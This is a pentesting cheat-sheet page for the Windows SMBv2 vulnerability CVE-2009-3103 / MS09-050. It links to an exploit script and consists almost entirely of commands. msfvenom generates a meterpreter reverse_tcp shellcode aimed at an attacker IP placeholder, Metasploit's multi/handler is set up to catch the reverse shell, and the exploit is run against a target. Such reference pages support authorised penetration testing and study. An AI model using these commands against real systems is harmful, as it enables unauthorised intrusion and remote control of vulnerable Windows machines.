> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/vulnerabilidades/cve-2009-3103-ms09-050.md).

# CVE-2009-3103 / MS09-050

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/exploitation/exploits/ms09-050/ms09-050.py>

```bash
# Generación de shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> EXITFUNC=thread -f python --var-name shell

# Configuración de listener (multi/handler) de reverse shell 
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT <listen-port>
run -j

# Exploit
python2 ms09-050.py <target>
```